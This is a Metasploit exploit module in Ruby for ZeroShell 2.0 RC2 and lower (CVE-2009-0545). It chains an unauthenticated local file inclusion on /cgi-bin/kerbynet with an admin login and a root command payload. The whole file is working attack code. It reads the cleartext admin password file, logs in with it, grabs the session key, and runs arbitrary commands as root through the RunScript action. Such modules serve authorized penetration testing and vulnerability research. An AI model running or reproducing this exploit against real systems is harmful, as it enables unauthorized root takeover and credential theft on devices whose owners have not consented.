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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "ZeroShell Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
It will leverage an unauthenticated local file inclusion vulnerability in the
"/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".
This file contains the admin password in cleartext. The password is used to login
as the admin user. After the authentication process is complete it will use the
RunScript action to execute the payload with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yann CAM', # Discovery, PoC
'xistence <xistence[at]0x90.nl>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2009-0545' ],
[ 'PACKETSTORM', '122799' ]
],
'Platform' => ['linux'],
'Arch' => ARCH_X86,
'Targets' =>
[
['ZeroShell 2.0 RC2', {}]
],
'Privileged' => true,
'DisclosureDate' => "Sep 22 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
])
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def uri
return target_uri.path
end
def check
# Check version
print_status("Trying to detect ZeroShell")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri)
})
if res and res.code == 200 and res.body =~ /ZeroShell/
print_good("ZeroShell detected")
end
unless password.nil?
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
# Retrieve admin password using unauthenticated LFI
def password
rootpw = "../../../var/register/system/ldap/rootpw"
print_status("Retrieving cleartext admin password")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
'vars_get' => {
'Section' => "NoAuthREQ",
'Action' => "Render",
'Object' => rootpw
}
})
if res and res.code == 200 and res.body !~ /not found/
res.body =~ /^(.*)$/
pass = $1
print_status("Password retrieved [ #{pass} ]")
return pass
else
return nil
end
end
# Login using the retrieved password and grab the session key from the response body.
def login(admin_password)
print_status("Log in and retrieving session key")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
'vars_post' => {
'Action' => "StartSessionSubmit",
'User' => "admin",
'PW' => admin_password
}
})
if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/
sessionkey = $1
print_status("Session key retrieved [ #{sessionkey} ]")
return sessionkey
else
fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!")
end
end
# The RunScript action will run shell commands directly with root privileges.
def execute_command(cmd, opts)
script_name = rand_text_alphanumeric(8)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
'vars_post' => {
'Action' => "RunScript",
'Section' => "Setup",
'STk' => @session,
'ScriptName' => script_name,
'Script' => cmd + '&'
}
})
if res and res.code != 200
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end
end
def exploit
admin_password = password
if admin_password.nil?
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
end
@session = login(admin_password)
execute_cmdstager({:flavor => :echo})
end
end
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